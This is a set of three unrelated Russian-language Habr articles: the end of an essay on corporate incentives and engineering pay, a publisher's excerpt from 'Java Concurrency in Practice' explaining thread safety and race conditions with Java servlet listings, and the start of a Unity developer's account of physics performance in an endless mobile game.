Если бы вместо руководства я потратил неделю на «реальную» работу, то получил бы нечто конкретное, с количественной ценностью, что красиво выглядит в промо-пакете или обзоре производительности. Вместо этого у меня какое-то туманное достижение, что в лучшем случае можно считать отчасти «дополнительной заслугой». Я не жалуюсь — это именно тот результат, которого я ожидал. Но в среднем компании получают то, к чему они сами стимулируют сотрудников. Если они ожидают, что обучение исходит от самих разработчиков (не финансируя производство учебных материалов), но не ценят его так же, как работу разработчиков, то обучение станет редкостью.
Полагаю, несложно заметить слабое качество публичных учебных материалов из-за относительной трудности монетизации образования и обучения. Если вы хотите монетизировать учебные программы, есть несколько хороших методов. Судя по всему, неплохо работает монетизация ценных видеокурсов (сотни или тысячи долларов за короткий курс). Корпоративные тренинги, когда компании приглашают вас поговорить с 30 людьми, а вы берёте $3000 с каждого, также работают довольно хорошо.
Если вы хотите охватить (и потенциально помочь) большому количеству людей, то публикация в интернете эффективна, но монетизации не ждите. Что касается технических тем, то вряд ли аудитория без блокировщиков рекламы достаточно велика, чтобы монетизировать контент с помощью рекламы (в отличие от платного доступа).
Например, Джулии Эванс [хватает на жизнь](https://jvns.ca/blog/2019/10/01/zine-revenue-2019/) доходов от продажи компьютерных комиксов, которые в последнее время приносят около $100 тыс. в год. Специалист по корпоративным тренингам может заработать это за один-два дня.
Приложение: глубокоэшелонированная оборона с рассогласованием стимулов, часть 3
===============================================================================
Из трёх приведённых выше примеров в двух случаях я получил какое-то поощрение за то, что сэкономил деньги компании. По моему опыту, в больших компаниях такое случается редко, но даже в этом случае распределение стимулов оказалось довольно плохим. В какой-то момент, после повышения в должности и увеличения зарплаты, я вычислил соотношение моей прибавки и экономии, которую я принёс фирме. Соотношение составило примерно 0,03% напрямую в деньгах, без учёта разработанных мной инструментов, для которых трудно вычислить конкретную ценность. Вероятно, эта ценность на самом деле больше, чем значение, поддающееся количественной оценке. Поэтому можно сделать вывод, что я получил значительно меньше 0,01% от суммы, которую принёс фирме. И это ещё завышенная оценка: в реальности я сильно подозреваю, что на самом деле сделанная работа ничего мне не принесла, а повышение никак не связано с этим проектом, который сэкономил компании десятки миллионов долларов. После первых $10 млн в год или, возможно, $20 млн в год, уже нет никаких стимулов делать работу с точки зрения оценки эффективности, продвижения, повышения и т. д. Потому что в этом нет никаких плюсов, зато есть некоторые минусы (вы можете ввязаться в подковёрные интриги, случайно обрушить сайт и т. д.), так что отдача от выполнения необязательной работы, вероятно, становится отрицательной.
Некоторые компании регулярно раздают очень большие бонусы, но у меня была не такая компания, и в реальности работодатель никак не может оценить сотрудника за дополнительную работу, кроме как максимальной оценкой в обзоре эффективности, а она выставляется за «достаточный» объём работы. С точки зрения [дизайна механизмов](https://en.wikipedia.org/wiki/Mechanism_design), компания фактически просит сотрудников прекратить работу, как только они сделали «достаточно».
Таким образом, даже в этой относительно профессиональной команде система вознаграждений компании ограничивает людей, не стимулируя их на максимальную эффективность.
Бывало и так, что менеджерам дают общекомандный бюджет для повышения зарплаты, который в основном зависит от численности персонала, а затем распределяется между сотрудниками. В основном, в команде только продуктивные разработчики, так что никто особо не выделится среди других. При этом наблюдается очень низкая текучесть кадров, потому что программистам нравится работать с хорошими коллегами. Чтобы стимулировать людей переходить в менее эффективные команды, компания применяет один из самых мощных рычагов — компенсацию.
Поскольку это распространённая схема, в некоторых компаниях менеджеры пытаются удержать у себя безвредных, но неэффективных сотрудников, чтобы обойти ограничения на бонусы. Если теоретически задаться вопросом, нужно ли компании нанимать и удерживать неэффективных людей, то ответ будет «нет». Но на практике схема поголовного начисления бонусов на команду косвенно стимулирует к этому.
Ссылки по теме
==============
* [Минусы карго-культа трендовых практик найма](https://danluu.com/programmer-moneyball/)
* [Нормализация девиантности](https://habr.com/ru/post/486120/)
* Книга Цви Моушовица [«Моральные лабиринты»](https://thezvi.wordpress.com/2019/05/30/quotes-from-moral-mazes/) о системных проблемах, которые вызывают рассогласование стимулов на всех уровнях корпорации
* Randomsong [пишет](https://www.jefftk.com/p/programmers-should-plan-for-lower-pay#lw-ftocr9cDfYtyQj9x2) о том, как можно научить программировать почти кого угодно. Идея в том, что программирование не так сложно, как многие программисты хотели бы верить
* Таня Рейли [пишет](https://noidea.dog/glue) о плохом стимулировании важной инфраструктурной работы, а отсутствии стимулов к обучению — возможно, частный случай этой проблемы
* [Томас Птачек](https://sockpuppet.org/blog/2015/03/06/the-hiring-post/) об использовании фильтров найма, которые заметно коррелируют с производительностью работы
* [Майкл Линч о личном опыте работы в крупной компании](https://mtlynch.io/why-i-quit-google/)
* [Анонимный комментатор HN](https://news.ycombinator.com/item?id=21961560) шесть лет практически бездельничал в Google, работая на 10% от своих возможностей, после чего получил повышение
---
1. Во-первых, собеседования Google зачастую копируют маленькие компании, для которых этот аргумент неуместен. Но даже никто из крупных компаниях не разрабатывает и не внедряет крупномасштабные алгоритмы (возможно, последней это делала Google примерно в 2003 году, но в современных крупных IT-компаниях никто особенно не сосредоточен на разработке алгоритмов). [[вернуться]](#1_1)
2. «Настоящих» взято в кавычки, потому что несколько собеседований я прошёл по причинам, не связанным с процессом самого собеседования. Может, у меня были очень хорошие рекомендации, а может кто-то прочитал мой блог или навёл справки от бывших коллег, или посмотрел мои опенсорсные проекты (насколько я знаю, такое случалось один или два раза). Обычно после явного провала на собеседовании я спрашиваю, почему мне предложили работу, поэтому собрал уже коллекцию таких причин.
Я также предполагаю возможность нулевого результата, потому что единственное «настоящее» собеседование по программированию было в Google, но меня пришли собеседовать неправильные ребята. Я шёл на работу с железом, а меня интервьюировали программисты, поэтому я получил по сути стандартное программистское интервью, за исключением того, что один интервьюер задал несколько вопросов о машине состояний и когерентности кэша (или что-то в этом роде). Затем мне организовали телефонное собеседование с инженером-аппаратчиком, чтобы убедиться, что я не врал о работе в аппаратном стартапе с 2005 по 2013 годы. Вполне возможно, что я провалил программистскую часть интервью и был нанят только благодаря последующему телефонному разговору.
Обратите внимание, что мои слабые результаты относятся только к собеседованиям по программированию, а не по железу. В собеседованиях по железу я действительно хорош, хотя в настоящей работе давно не практиковался. Один мой знакомый говорит, что аппаратные интервью мне так хорошо даются из-за специфического жаргона: я «говорю как инженер по аппаратному обеспечению» и фактически мы с инженерами-электронщиками говорим на одном языке. С другой стороны, некоторые вещи мы высказываем таким образом, что они звучат невероятно глупо для большинства программистов, но проблема именно с лексикой, жаргоном, а не фактическими знаниями или навыками. [[вернуться]](#2_2)
3. Это немного более сложный вопрос, чем вы могли ожидать по телефону и такой вопрос вполне можно ожидать на очном собеседовании. Хотя моему другу на телефонном собеседовании с Google однажды задали [вопрос с мирового финала Google Code Jam](https://code.google.com/codejam/contest/2437491/dashboard#s=p2), так что для максимальной сложности действительно нет предела, смотря кто вас спрашивает.
Кстати, если вам интересно, мой друг на самом деле знал ответ, потому что решал эту задачу на Google Code Jam. На самом конкурсе он не нашёл правильный ответ, но позже посмотрел его для забавы. Однако он не счёл разумным сразу выдавать ответ по телефону, а попросил интервьюера задать другой вопрос. Тот отказался, так что мой друг провалил телефонное собеседование. Хотя я сомневаюсь, что в мире найдётся больше пары сотен человек, способных правильно ответить на такой вопрос по телефону, и почти все они, вероятно, поняли бы абсурдность ситуации. Провалив собеседование, мой друг почти полгода искал работу, прежде чем пройти собеседование для стартапа, для которого он в конечном итоге разработал несколько ключевых систем (с точки зрения как влияния на бизнес, так и технических трудностей). Он и сейчас продолжает там работать после того, как компания провела IPO более чем на миллиард долларов. Компания понимает, как трудно заменить этого человека, и очень хорошо к нему относится. [[вернуться]](#3_3)
4. Помимо вопиющих архитектурных проблем, которые просто приведут к падению сервиса, есть ещё один момент. Команды зачастую решают проблемы эффективности просто запрашивая дополнительные вычислительные ресурсы. Некоторые компании пытаются каким-то образом бороться с этим. Я слышал, что в Facebook многие команды, работающие над повышением эффективности, рапортуют в специальный отдел, который позволяет им блокировать запросы на расширение ёмкости, если они замечают у какой-то команды крайнюю неэффективность, которую те отказываются исправить. Но лично мне не попадались такие компании. В Google эту проблему пытались решать системой, которая, среди прочего, соотносила численность персонала с вычислительными ресурсами, но я слышал, что от неё в итоге отказались в пользу более традиционной системы по [некоторым причинам](https://en.wikipedia.org/wiki/Incentive_compatibility). [[вернуться]](#4_4) | https://habr.com/ru/post/485596/ | null | ru | null |
# Книга «Java Concurrency на практике»
[](https://habr.com/ru/company/piter/blog/489038/) Привет, Хаброжители! Потоки являются фундаментальной частью платформы Java. Многоядерные процессоры — это обыденная реальность, а эффективное использование параллелизма стало необходимым для создания любого высокопроизводительного приложения. Улучшенная виртуальная машина Java, поддержка высокопроизводительных классов и богатый набор строительных блоков для задач распараллеливания стали в свое время прорывом в разработке параллельных приложений. В «Java Concurrency на практике» сами создатели прорывной технологии объясняют не только принципы работы, но и рассказывают о паттернах проектирования. Легко создать конкурентную программу, которая вроде бы будет работать. Однако разработка, тестирование и отладка многопоточных программ доставляют много проблем. Код перестает работать именно тогда, как это важнее всего: при большой нагрузке. В «Java Concurrency на практике» вы найдете как теорию, так и конкретные методы создания надежных, масштабируемых и поддерживаемых параллельных приложений. Авторы не предлагают перечень API и механизмов параллелизма, они знакомят с правилами проектирования, паттернами и моделями, которые не зависят от версии Java и на протяжении многих лет остаются актуальными и эффективными.
### Отрывок. Потокобезопасность
Возможно, вас удивит, что конкурентное программирование связано с потоками или замками **(1)** не более, чем гражданское строительство связано с заклепками и двутавровыми балками. Разумеется, строительство мостов требует правильного использования большого количества заклепок и двутавровых балок, и то же самое касается построения конкурентных программ, которое требует правильного использования потоков и замкˆов. Но это всего лишь механизмы — средства достижения цели. Написание потокобезопасного кода — это, по сути, управление доступом к состоянию и, в частности, к совместному (shared) мутируемому состоянию (mutable state).
В целом состояние объекта — это его данные, хранящиеся в переменных состояния (state variables), таких как экземплярные и статические поля или поля из других зависимых объектов. Состояние хеш-массива HashMap частично хранится в самом объекте HashMap, но также и во многих объектах Map.Entry. Состояние объекта включает любые данные, которые могут повлиять на его поведение.
***(1)** В тексте встречаются термины lock и block, которые часто переводятся одним словом «блокировка», что может подразумевать и объект, и процесс. В английском языке для процесса блокирования как приостановки продвижения есть термин blocking. Под термином lock имеется в виду «замок», «замковый защитный механизм». Во избежание путаницы термин lock переводится, как замок, кроме устоявшихся выражений, где принят перевод «блокировка». Замок — это механизм контроля доступа к данным с целью их защиты. В программировании замки часто используются для того, чтобы несколько программ или программных потоков могли использовать ресурс совместно, например, обращаться к файлу для его обновления на поочередной основе. — Примеч. науч. ред.*
К совместной переменной могут обратиться несколько потоков, мутируемая — меняет свое значение. На самом деле мы пытаемся защитить от неконтролируемого конкурентного доступа не код, а данные.
Создание потокобезопасного объекта требует синхронизации для координации доступа к мутируемому состоянию, невыполнение которой может привести к повреждению данных и другим нежелательным последствиям.
Всякий раз, когда более чем один поток обращается к переменной состояния и один из потоков, возможно, в нее пишет, все потоки должны координировать свой доступ к ней с помощью синхронизации. Синхронизацию в Java обеспечивают ключевое слово synchronized, дающее эксклюзивную блокировку, а также волатильные (volatile) и атомарные переменные и явные замки.
Удержитесь от соблазна думать, что существуют ситуации, не требующие синхронизации. Программа может работать и проходить свои тесты, но оставаться неисправной и завершиться аварийно в любой момент.
Если многочисленные потоки обращаются к одной и той же переменной, имеющей мутируемое состояние, без соответствующей синхронизации, то ваша программа неисправна. Существует три способа ее исправить:
* не использовать переменную состояния совместно во всех потоках;
* сделать переменную состояния немутируемой;
* при каждом доступе к переменной состояния использовать синхронизацию.
Исправления могут потребовать значительных проектных изменений, поэтому гораздо проще проектировать класс потокобезопасным сразу, чем модернизировать его позже.
Будут или нет многочисленные потоки обращаться к той или иной переменной, узнать сложно. К счастью, объектно‑ориентированные технические решения, которые помогают создавать хорошо организованные и удобные в сопровождении классы — такие как инкапсуляция и сокрытие данных, — также помогают создавать потокобезопасные классы. Чем меньше потоков имеет доступ к определенной переменной, тем проще обеспечить синхронизацию и задать условия, при которых к данной переменной можно обращаться. Язык Java не заставляет вас инкапсулировать состояние — вполне допустимо хранить состояние в публичных полях (даже публичных статических полях) или публиковать ссылку на объект, который в иных случаях является внутренним, — но чем лучше инкапсулировано состояние вашей программы, тем проще сделать вашу программу потокобезопасной и помочь сопроводителям поддерживать ее в таком виде.
> При проектировании потокобезопасных классов хорошие объектно‑ориентированные технические решения: инкапсуляция, немутируемость и четкая спецификация инвариантов — будут вашими помощниками.
Если хорошие объектно‑ориентированные проектные технические решения расходятся с потребностями разработчика, стоит поступиться правилами хорошего проектирования ради производительности либо обратной совместимости с устаревшим кодом. Иногда абстракция и инкапсуляция расходятся с производительностью — хотя и не так часто, как считают многие разработчики, — но образцовая практика состоит в том, чтобы сначала делать код правильным, а затем — быстрым. Старайтесь задействовать оптимизацию только в том случае, если измерения производительности и потребности говорят о том, что вы обязаны это сделать **(2)**.
***(2)** В конкурентном коде следует придерживаться этой практики даже больше, чем обычно. Поскольку ошибки конкурентности чрезвычайно трудно воспроизводимы и не просты в отладке, преимущество небольшого прироста производительности на некоторых редко используемых ветвях кода может вполне оказаться ничтожным по сравнению с риском, что программа завершится аварийно в условиях эксплуатации.*
Если вы решите, что вам необходимо нарушить инкапсуляцию, то не все потеряно. Вашу программу по‑прежнему можно сделать потокобезопасной, но процесс будет сложнее и дороже, а результат — ненадежнее. Глава 4 характеризует условия, при которых можно безопасно смягчать инкапсуляцию переменных состояния.
До сих пор мы использовали термины «потокобезопасный класс» и «потокобезопасная программа» почти взаимозаменяемо. Строится ли потокобезопасная программа полностью из потокобезопасных классов? Не обязательно: программа, которая состоит полностью из потокобезопасных классов, может не быть потокобезопасной, и потокобезопасная программа может содержать классы, которые не являются потокобезопасными. Вопросы, связанные с компоновкой потокобезопасных классов, также рассматриваются в главе 4. В любом случае понятие потокобезопасного класса имеет смысл только в том случае, если класс инкапсулирует собственное состояние. Термин «потокобезопасность» может применяться к коду, но он говорит о состоянии и может применяться только к тому массиву кода, который инкапсулирует его состояние (это может быть объект или вся программа целиком).
### 2.1. Что такое потокобезопасность?
Дать определение потокобезопасности непросто. Быстрый поиск в Google выдает многочисленные варианты, подобные этим:
… может вызываться из многочисленных потоков программы без нежелательных взаимодействий между потоками.
… может вызываться двумя или более потоками одновременно, не требуя никаких других действий с вызывающей стороны.
Учитывая подобные определения, неудивительно, что мы находим потокобезопасность запутанной! Как отличить потокобезопасный класс от небезопасного? Что мы вообще подразумеваем под словом «безопасный»?
В основе любого разумного определения потокобезопасности лежит понятие правильности (correctness).
Правильность подразумевает соответствие класса своей спецификации. Спецификация определяет инварианты (invariants), ограничивающие состояние объекта, и постусловия (postconditions), описывающие эффекты от операций. Как узнать, что спецификации для классов являются правильными? Никак, но это не мешает нам их использовать после того, как мы убедили себя, что код работает. Поэтому давайте допустим, что однопоточная правильность — это нечто видимое. Теперь можно предположить, что потокобезопасный класс ведет себя правильно во время доступа из многочисленных потоков.
> Класс является потокобезопасным, если он ведет себя правильно во время доступа из многочисленных потоков, независимо от того, как выполнение этих потоков планируется или перемежается рабочей средой, и без дополнительной синхронизации или другой координации со стороны вызывающего кода.
Многопоточная программа не может быть потокобезопасной, если она не является правильной даже в однопоточной среде **(3)**. Если объект реализован правильно, то никакая последовательность операций — обращения к публичным методам и чтение или запись в публичные поля — не должна нарушать его инварианты или постусловия. Ни один набор операций, выполняемых последовательно либо конкурентно на экземплярах потокобезопасного класса, не может побудить экземпляр находиться в недопустимом состоянии.
**(3)** *Если нестрогое использование термина правильность здесь вас беспокоит, то вы можете думать о потокобезопасном классе как о классе, который неисправен в конкурентной среде, как и в однопоточной среде.*
> Потокобезопасные классы инкапсулируют любую необходимую синхронизацию сами и не нуждаются в помощи клиента.
### 2.1.1. Пример: сервлет без поддержки внутреннего состояния
В главе 1 мы перечислили структуры, которые создают потоки и вызывают из них компоненты, за потокобезопасность которых ответственны вы. Теперь мы намерены разработать сервлетную службу разложения на множители и постепенно расширить ее функционал, сохраняя потокобезопасность.
В листинге 2.1 показан простой сервлет, который распаковывает число из запроса, раскладывает его на множители и упаковывает результаты в отклик.
Листинг 2.1. Сервлет без поддержки внутреннего состояния
```
@ThreadSafe
public class StatelessFactorizer implements Servlet {
public void service(ServletRequest req, ServletResponse resp) {
BigInteger i = extractFromRequest(req);
BigInteger[] factors = factor(i);
encodeIntoResponse(resp, factors);
}
}
```
Класс StatelessFactorizer, как и большинство сервлетов, не имеет внутреннего состояния: не содержит полей и не ссылается на поля из других классов. Состояние для конкретного вычисления существует только в локальных переменных, которые хранятся в потоковом стеке и доступны только для выполняющего потока. Один поток, обращающийся к StatelessFactorizer, не может повлиять на результат другого потока, делающего то же самое, поскольку эти потоки не используют состояние совместно.
> Объекты без поддержки внутреннего состояния всегда являются потокобезопасными.
Тот факт, что большинство сервлетов могут быть реализованы без поддержки внутреннего состояния, значительно снижает бремя по обеспечению потокобезопасности самих сервлетов. И только когда сервлеты должны что-то запомнить, требования к их потокобезопасности возрастают.
### 2.2. Атомарность
Что происходит при добавлении элемента состояния в объект без поддержки внутреннего состояния? Предположим, мы хотим добавить счетчик посещений, который измеряет число обработанных запросов. Можно добавить в сервлет поле с типом long и приращивать его при каждом запросе, как показано в UnsafeCountingFactorizer в листинге 2.2.
Листинг 2.2. Сервлет, подсчитывающий запросы без необходимой синхронизации. Так делать не следует
```
@NotThreadSafe
public class UnsafeCountingFactorizer implements Servlet {
private long count = 0;
public long getCount() { return count; }
public void service(ServletRequest req, ServletResponse resp) {
BigInteger i = extractFromRequest(req);
BigInteger[] factors = factor(i);
++count;
encodeIntoResponse(resp, factors);
}
}
```
К сожалению, класс UnsafeCountingFactorizer не является потокобезопасным, даже если отлично работает в однопоточной среде. Так же, как UnsafeSequence, он предрасположен к потерянным обновлениям (lost updates). Хотя операция приращения ++count имеет компактный синтаксис, она не является атомарной (atomic), то есть неделимой, а представляет собой последовательность из трех операций: доставки текущего значения, прибавления к нему единицы и записи нового значения обратно. В операциях «прочитать, изменить, записать» результирующее состояние является производным от предыдущего.
На рис. 1.1 показано, что может произойти, если два потока попытаются увеличить счетчик одновременно, без синхронизации. Если счетчик равен 9, то из‑за неудачной временной координации оба потока увидят значение 9, добавят в него единицу, и установят значение 10. Так счетчик посещений начнет отставать на единицу.
Вы можете подумать, что наличие немного неточного счетчика посещений в веб‑службе является приемлемой потерей, и иногда это так. Но если счетчик используется для создания последовательностей или уникальных идентификаторов объектов, то возвращение одного и того же значения из многочисленных активаций может привести к серьезным проблемам целостности данных. Возможность появления неправильных результатов из-за неудачной временнˆой координации возникает при состоянии гонки.
### 2.2.1. Состояния гонки
Класс UnsafeCountingFactorizer имеет несколько состояний гонки **(4)**. Наиболее распространенным типом состояния гонки является ситуация «проверить и затем действовать», где потенциально устаревшее наблюдение используется для принятия решения о том, что делать дальше.
**(4)** *Термин состояние гонки часто путают с родственным термином гонка данных (data race). Гонка данных возникает, когда синхронизация не используется для координации всего доступа к общему нефинальному полю. Вы рискуете попасть в гонку данных всякий раз, когда поток пишет переменную, которая затем может быть прочитана другим потоком, либо считывает переменную, которая в последний раз могла быть записана другим потоком, если оба потока не используют синхронизацию. Код с гонками данных не имеет полезной формально определенной семантики в рамках модели памяти Java. Не все состояния гонки являются гонками данных, и не все гонки данных являются состояниями гонки, но оба типа ситуаций могут вызывать аварийный сбой конкурентных программ самым непредсказуемым образом. UnsafeCountingFactorizer содержит оба типа. Подробнее гонки данных описаны в главе 16.*
Мы часто сталкиваемся с состоянием гонки в реальной жизни. Допустим, вы планируете встретиться с другом в полдень в кафе «Старбакс» на Университетском проспекте. Но вы узнаете, что на Университетском проспекте находятся два «Старбакса». В 12:10 вы не видите своего друга в кафе A и идете в кафе B, но там его тоже нет. Либо ваш друг опаздывает, либо он прибыл в кафе A сразу после того, как вы ушли, либо он был в кафе B, но пошел вас искать и теперь находится на пути к кафе A. Примем последний, то есть самый худший вариант. Сейчас 12:15, и вы оба задаетесь вопросом, а сдержал ли друг обещание. Вы вернетесь в другое кафе? Сколько раз вы будете ходить туда и обратно? Если вы не согласовали протокол, то можете провести весь день, гуляя по Университетскому проспекту в кофеиновой эйфории.
Проблема подхода «прогуляться и посмотреть, не находится ли он там» заключается в том, что прогулка по улице между двумя кафе занимает несколько минут, и за это время состояние системы может измениться.
Пример со «Старбаксом» иллюстрирует зависимость результата от относительной временной координации событий (от того, как долго вы ждете друга, находясь в кафе, и т. д.). Наблюдение, что он не находится в кафе A, становится потенциально утратившим силу: как только вы выходите из парадной двери, он может войти через заднюю дверь. Большинство состояний гонки вызывают такие проблемы, как неожиданное исключение, перезаписанные данные и повреждение файла.
### 2.2.2. Пример: состояния гонки в ленивой инициализации
Распространенным приемом, использующим подход «проверить и затем действовать», является ленивая инициализация (LazyInitRace). Ее цель — отложить инициализацию объекта до тех пор, пока он не понадобится, и обеспечить, чтобы он инициализировался только один раз. В листинге 2.3 метод getInstance убеждается в выполнении инициализации ExpensiveObject и возвращает существующий экземпляр, или, в противном случае, создает новый экземпляр и возвращает его после сохранения ссылки на него.
Листинг 2.3. Состояние гонки в ленивой инициализации. Так делать не следует
```
@NotThreadSafe
public class LazyInitRace {
private ExpensiveObject instance = null;
public ExpensiveObject getInstance() {
if (instance == null)
instance = new ExpensiveObject();
return instance;
}
}
```
Класс LazyInitRace содержит состояния гонки. Предположим, что потоки A и B выполняют метод getInstance в одно и то же время. A видит, что поле instance равно null, и создает новый ExpensiveObject. Поток B также проверяет, равно ли поле instance тому же значению null. Наличие в поле значения null в этот момент зависит от временнˆой координации, включая капризы планирования и количество времени, нужного для создания экземпляра объекта ExpensiveObject и установки значения в поле instance. Если поле instance равно null, когда B его проверяет, два элемента кода, вызывающих метод getInstance, могут получить два разных результата, даже если метод getInstance предположительно должен всегда возвращать один и тот же экземпляр.
Счетчик посещений в UnsafeCountingFactorizer тоже содержит состояния гонки. Подход «прочитать, изменить, записать» подразумевает, что для приращения счетчика поток должен знать его предыдущее значение и убедиться, что в процессе обновления никто другой не изменяет и не использует это значение.
Как и большинство ошибок конкурентности, состояния гонки не всегда приводят к сбою: временная координация бывает удачной. Но если класс LazyInitRace используется для инстанциации реестра всего приложения, то, когда из многочисленных активаций он будет возвращать разные экземпляры, регистрации будут утеряны либо действия получат противоречивые представления набора зарегистрированных объектов. Или если класс UnsafeSequence используется для генерирования идентификаторов сущностей в структуре консервации данных, то два разных объекта могут иметь один и тот же идентификатор, нарушая ограничения идентичности.
### 2.2.3. Составные действия
И LazyInitRace, и UnsafeCountingFactorizer содержат последовательность операций, которые должны быть атомарными. Но для предотвращения состояния гонки должно существовать препятствие тому, чтобы другие потоки использовали переменную, пока один поток ее изменяет.
> Операции A и B являются атомарными, если, с точки зрения потока, выполняющего операцию A, операция B либо была целиком выполнена другим потоком, либо не выполнена даже частично.
Атомарность операции приращения в UnsafeSequence позволила бы избежать состояния гонки, показанного на рис. 1.1. Операции «проверить и затем действовать» и «прочитать, изменить, записать» всегда должны быть атомарными. Они называются составными действиями (сompound actions) — последовательностями операций, которые должны выполняться атомарно, для того чтобы оставаться потокобезопасными. В следующем разделе мы рассмотрим блокировку — встроенный в Java механизм, который обеспечивает атомарность. А пока мы исправим проблему другим способом, применив существующий потокобезопасный класс, как показано в Countingfactorizer в листинге 2.4.
Листинг 2.4. Сервлет, подсчитывающий запросы с помощью AtomicLong
```
@ThreadSafe
public class CountingFactorizer implements Servlet {
private final AtomicLong count = new AtomicLong(0);
public long getCount() { return count.get(); }
public void service(ServletRequest req, ServletResponse resp) {
BigInteger i = extractFromRequest(req);
BigInteger[] factors = factor(i);
count.incrementAndGet();
encodeIntoResponse(resp, factors);
}
}
```
Пакет java.util.concurrent.atomic содержит атомарные переменные (atomic variable) для управления состояниями классов. Заменив тип счетчика с long на AtomicLong, мы гарантируем, что все действия, которые обращаются к состоянию счетчика, являются атомарными1. Поскольку состояние сервлета является состоянием счетчика, а счетчик является потокобезопасным, наш сервлет становится потокобезопасным.
При добавлении единственного элемента состояния в класс, который не поддерживает внутреннее состояние, результирующий класс будет потокобезопасным, если состояние полностью управляется потокобезопасным объектом. Но, как мы увидим в следующем разделе, переход от одной переменной состояния к следующим будет не так прост, как переход от нуля к единице.
> Там, где это удобно, используйте существующие потокобезопасные объекты, такие как AtomicLong, для управления состоянием вашего класса. Возможные состояния существующих потокобезопасных объектов и их переходы в другие состояния легче поддерживать и проверять на потокобезопасность, нежели произвольные переменные состояния.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/java-concurrency-na-praktike?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611314/978544611314_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611314/978544611314_p.pdf)
Для Хаброжителей скидка 25% по купону — **Java**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/489038/ | null | ru | null |
# Борьба с 2D-физикой в Unity на примере бесконечной игры
Мой странный творческий путь занес меня в разработку игр. Благодаря отличной студенческой программе от IT-компании, название которой СостоИт из одной Греческой МАленькой буквы, сотрудничающей с нашим университетом, удалось собрать команду, родить документацию и наладить Agile разработку игры под присмотром высококлассного QA-инженера (здравствуйте, Анна!)
Без особо долгих размышлений, в качестве движка был выбран Unity. Это замечательный движок, на котором действительно быстро и легко можно сделать очень плохую игру, в которую, в здравом уме, никто и никогда не будет играть. Чтобы создать хорошую игру, все же придется перелопатить документацию, вникнуть в некоторые особенности и набраться опыта разработки.
Наша игра использовала физический движок неожиданным для него способом, что породило множество проблем с производительностью на мобильных платформах. В этой статье, на примере нашей игры, описана моя борьба с физическим движком и все те особенности его работы, которые были замечены на пути к жизнеспособной бета-версии.
#### Игра
**Гифка с игрой**
Пару слов о том, как она сделана.
Сделана с помощью Blender и пары скриптов на питоне. На время съемки, в углу экрана находились 16 квадратиков, цвет которых кодировал 32 бита числа с плавающей запятой — вращение телефона в данный момент времени. R, G — данные, B — четность. 0 — 0, 255 — 1. Снятое на компьютере видео разбивалось на кадры с помощью ffmpeg, каждому кадру рендера в соответствие ставился расшифрованный угол. Такой формат позволил пережить любое сжатие в процессе съемки и поборол тот факт, что все программы имеют несколько разные представления о течении времени. В реальности игра играется так же как и на рендере.
Самолетик летит по бесконечной и непредсказуемой пещере, в которой есть бонусы, всякие монетки и враги, в которых можно стрелять самонаводящимися ракетами. Врезался в стену — сразу проиграл.
Отличительная особенность игры в том, что уровень прибит к горизонту и управление в ней гироскопическое, причем, абсолютное. Наклонил телефон на 45 градусов — самолетик полетел под углом 45 градусов. Нужно сделать мертвую петлю — придется крутить планшет. Никакой чувствительности нет, только хардкор.
Выделим две основные и очевидные проблемы для разработчика:
##### Проблема 1: Бесконечность
Unity хранит и обрабатывает координаты объектов в виде обычных 32-битных float, имеющих точность где-то до 6 знака после запятой. Проблема в том, что игра у нас бесконечная и, если мы достаточно долго будем лететь, начнутся различного рода безумные баги, вплоть до телепортации сквозь стены. Есть несколько подходов к решению этой проблемы:
1. Игнорирование. В Minecraft, например, ошибки округления лишь сделали игру интереснее, породив [феномен «Далеких Земель»](http://hydra-media.cursecdn.com/minecraft.gamepedia.com/e/e4/Far_Lands_Cartograph.png).
2. Телепортация в (0;0;0) при слишком сильном удалении самолетика от начала координат.
3. Смена точки отсчета. Движется не самолет, а уровень вокруг него.
В нашем случае, единственный допустимый вариант — третий, который и был реализован. О реализации — чуть позже.
Первый — игнорирование — абсолютно недопустим. Создание робота, который сможет вечно играть в нашу игру — интересная (и весьма простая) задача, которую кто-нибудь решит. Да и обычных корейских игроков недооценивать не стоит — самолетик быстрый, уровень генерируется непредсказуемо. И если до прохождений сквозь стены лететь и лететь, то куда более точная стрельба начнет очевидно подглючивать уже через 5 минут полета.
Второй — телепортация игрока и всего мира — ставит мобильные устройства на колени, в некоторых случаях — где-то на полсекунды. Это очень заметно, а потому — недопустимо. Но это вполне приемлемый вариант для простеньких бесконечных игр для ПК.
##### Проблема 2: Генерация уровня
Есть несколько основных подходов к строительству endless runner'ов:
1. Использование готовых сегментов уровня, которые стыкуются случайным образом. Так сделано, например, в Subway Surfers. Это просто реализовать, но игрок к этому быстро привыкает и знает, к чему готовиться, что скучно.
2. Уровень — просто прямая, на которой случайным образом расставляются препятствия. Так сделано в Joypack Joyride и Temple Run. В нашем случае, это сильно ограничило бы количество маневров.
3. Все генерируется случайным образом. Самый сложный, непредсказуемый и интересный для игрока вариант.
Конечно же, мы выбрали самый сложный вариант. В его сердце находится весьма сложная машина состояний, которая выполняет по ним случайные переходы. Но в рамках данной статьи интересен не механизм, а процесс генерации уровня и его организация, с учетом выбранной точки отсчета.
##### Структура уровня
Летим мы в пещере, она имеет пол и потолок — пару блоков, элементарных строительных единиц. Блоки объединяются в сегменты, которые бесшовно стыкуются друг с другом. Сегменты, как единое целое, вращаются вокруг самолета и двигаются по его вектору скорости, создавая иллюзию полета. Если сегмент выходит из поля зрения камеры — он очищается от блоков, пристыковывается к последнему сегменту уровня и заполняется новыми блоками, согласно указаниям генератора. Совокупность таких сегментов — и есть уровень.
Опытные Unity-разработчики могли вполне оправданно поморщиться, прикинув объем работ и все возможные подводные камни. Но на словах все просто, а опыта разработки у меня не было…
#### Основные Законы Физики в Unity
За месяц разработки, экспериментов и чтения документации, я выделил три основных закона физики в Unity. Их можно нарушать, но плата за нарушение — производительность. Движок никак не будет предупреждать вас о допущенной ошибке, а без профайлера вы можете никогда о них и не узнать. Несоблюдение этих законов может замедлить вашу игру *в десятки* раз. Как я понял, нарушение любого закона приводит к тому, что физический движок помечает коллайдер-нарушитель как некорректный и пересоздает его на объекте, с последующим пересчетом физики:
###### 1. Коллайдеры не должны двигаться, вращаться, включаться\выключаться и менять размер.
